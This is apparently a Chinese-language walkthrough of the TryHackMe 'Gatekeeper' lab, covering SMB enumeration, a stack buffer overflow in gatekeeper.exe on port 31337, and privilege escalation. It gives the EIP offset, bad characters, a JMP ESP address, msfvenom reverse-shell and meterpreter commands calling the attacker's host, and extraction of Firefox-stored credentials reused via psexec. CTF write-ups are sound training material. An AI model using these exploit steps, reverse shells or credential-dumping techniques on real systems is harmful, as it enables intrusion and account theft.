免责声明
本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用,请不要将文中使用的工具和渗透思路用于任何非法用途,对此产生的一切后果,本人不承担任何责任,也不对造成的任何误用或损害负责。
服务探测
1 | less复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper] |
用enum4linux
无发现
用smbmap
探测anonymous
能过访问的分享文件夹
1 | ruby复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper] |
能够访问Users
文件夹
1 | yaml复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper] |
把里面所有能过下载的文件都下载下来分析,尤其注意Share下的这个gatekeeper.exe
文件
1 | yaml复制代码smb: \share\> ls |
我们在windows上开启这个gatekeeper.exe
程序,发现他开启了31337端口,从nmap扫描结果得知,靶机也开启了31337端口,也就是说靶机里面也有这个程序在运行。
缓冲区溢出攻击
Fuzzing!
因为要反复测试验证缓冲区溢出,我们需要另外一个windows的靶机,这边准备了一个win7的靶机,在上面安装了Immunity Debugger
程序,关于Immunity Debugger
的使用在这里不再多做介绍。
win7靶机的内网IP是:192.168.3.49
在kali准备以下FUZZY脚本:
1 | arduino复制代码#!/usr/bin/python |
运行fuzzy.py,在发送300个字节时,靶机程序奔溃。
计算EIP位置
此时我们生成一段不重复字节,长度比Fuzzing出来令到靶机程序崩溃的字节数略长一点,我们在这里选择400个字节,执行
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
1 | bash复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper/bof] |
使用下面脚本exploit1.py
进行攻击,把上面生成的串放到payload:
1 | ini复制代码#coding=utf-8 |
EIP地址:65413565
计算出EIP的偏移量
msf-pattern_offset -q 65413565
1 | bash复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper/bof] |
得出偏移量值为:136
查找坏字节
我们在Immunity Debugger中输入:!mona bytearray -b "\x00"
0x00在C/C++语言中表示终止,所以是一个很普遍的坏字节,在上面我们首先把它排除掉。
我们用下面的bytearray.py脚本生成所有字节码:
1 | scss复制代码for x in range(1, 256): |
执行:
1 | bash复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper/bof] |
此时我们准备第二个攻击脚本exploit2.py,把上面生成的字节码粘贴到payload变量
同时,我们把偏移量136赋值到offset变量,把”BBBB”赋值到retn变量,重启程序,执行下面的脚本
1 | ini复制代码import socket |
我们可以查看到EIP的值,此时已经变成了42424242,42在ASCII里就是大写的B,也就是我们上面的exploit.py里面retn的值,此时已证明可以覆盖到EIP。
另外,记住这里ESP的值是:004619f9
我们执行!mona compare -f C:\mona\gatekeeper\bytearray.bin -a 004619f9
得到一个可能的坏字节的序列:POSSIBLY BAD CHARS:01 0a
执行:
!mona bytearray -b “\x00\x01\x0a”
!mona compare -f C:\mona\gatekeeper\bytearray.bin -a 004819F8
现在我们已经找到了所有坏字节:\x00\x01\x0a
找shellcode
!mona jmp -r esp -cpb “\x00\x01\x0a”
有两个地址,我们选择第一个:080414c3
需要注意的是这个地址需要从后面往回写,即:\xc3\x14\x04\x08
利用msfvenom ,我们生成攻击的shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.67 LPORT=4444 EXITFUNC=thread -b “\x00\x01\x0a” -f c
1 | arduino复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper] |
把生成的shellcode放到我们最后一个攻击脚本exploit3.py中
1 | makefile复制代码import socket |
我们先在kali另外开一个新窗口,开启监听:nc -lvp 4444
重启gatekeeper.exe,执行exploit3.py
拿到我们靶机的反弹shell:
1 | scss复制代码──(root💀kali)-[~/tryhackme/Gatekeeper] |
到此为止,我们在本地靶机成功验证gatekeeper.exe存在一个缓冲区溢出漏洞。
正式攻击
为了后续渗透提权方便,我们的payload换成了meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.21.169 LPORT=4444 EXITFUNC=thread -b “\x00\x01\x0a” -f c
1 | arduino复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper] |
把上面生成的payload复制到下面攻击脚本,把ip地址改成远程靶机地址,保存为exploit4.py
1 | makefile复制代码import socket |
监听,执行,拿到初始shell和user.txt:
1 | arduino复制代码msf6 exploit(multi/handler) > run |
提权
我们使用windows/gather/enum_applications
模块列出靶机安装的软件信息
1 | yaml复制代码meterpreter > run post/windows/gather/enum_applications |
看到靶机安装了Firefox浏览器,我们继续用post/multi/gather/firefox_creds
尝试模块导出浏览器上可能的登录凭证,此模块可以枚举出firefox存储的用户信息。
1 | bash复制代码meterpreter > run post/multi/gather/firefox_creds |
用strings命令查看最后一条含有login字样的文件:
1 | ruby复制代码└─# strings /root/.msf4/loot/20211124083310_default_10.10.97.198_ff.ljfn812a.logi_811634.bin 12 ⨯ |
上面看见有加密的Username和Password
我们用这个脚本导出加密用户凭证,需要注意上面导出的文件夹要分别改成对应的文件名字
1 | bash复制代码 ┌──(root💀kali)-[~/tryhackme/Gatekeeper/firefox_decrypt] |
执行脚本,导出用户凭证
1 | bash复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper/firefox_decrypt] |
使用psexec.py
1 | bash复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper] |
登录mayor
的账号,拿到root.txt
1 | ini复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper] |
本文转载自: 掘金